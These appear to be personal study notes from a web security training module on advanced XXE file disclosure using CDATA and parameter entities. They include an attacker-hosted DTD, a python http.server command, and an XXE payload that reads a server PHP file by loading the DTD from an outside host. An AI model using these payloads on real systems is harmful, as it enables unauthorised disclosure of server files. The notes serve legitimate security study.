7. XXE - Advanced file disclosure - CDATA tags

Not all XXE vulns may be straightforward Some file formats may not be readable through basic XXE, in other cases, the webapplication may not output any input values in some instances, so we may be able to force it through errors.

XXE - Advanced exfiltration with CDATA

In past few sections we use php filters to encode php source files, so xml syntax not broken. What about other types of webapps?

Another method to extract any kind of data for any webapp backend -

To output data that does not conform to XML format we can wrap content of the external file reference with the CDATA tag <![CDATA[ FILE_CONTENT ]]>

This way, XML parser would consider this part raw data (potentially containing any kind) including special chars.

Easy way to tackle this issue is to define a begin internal entity with <![CDATA[, an end entity with ]]> and place our external entity file in between and it should be considered as a CDATA element.

<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

When we reference joined it should contain our escaped data. HOWEVER THIS WILL NOT WORK since XML prevents joining internal+external entities. So we need a better way of doing the above logically. The way we can do this is via XML Parameter Entities - A special type of entity that starts with % character and can only be used within the DTD. Whats unique about parameter entities is that if we reference them from an external source (our own server for example) then all of them would be considered external (thus can be joined)

<!ENTITY joined "%begin;%file;%end;">

Example of trying to read submitDetails.php file by

  1. Storing above line in DTD file (i.e. xxe.dtd )
  2. Hosting it on our machine
  3. Referencing it as an external entity on the target web application
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

![](/img/Pasted image 20241230155017.png) where is joined coming from? below: ![](/img/Pasted image 20241230155051.png)

kind of interesting though, seen in img#1 - we don't actually get output

this is potentially due to the footnote mentioned here in the module:

![](/img/Pasted image 20241230155202.png)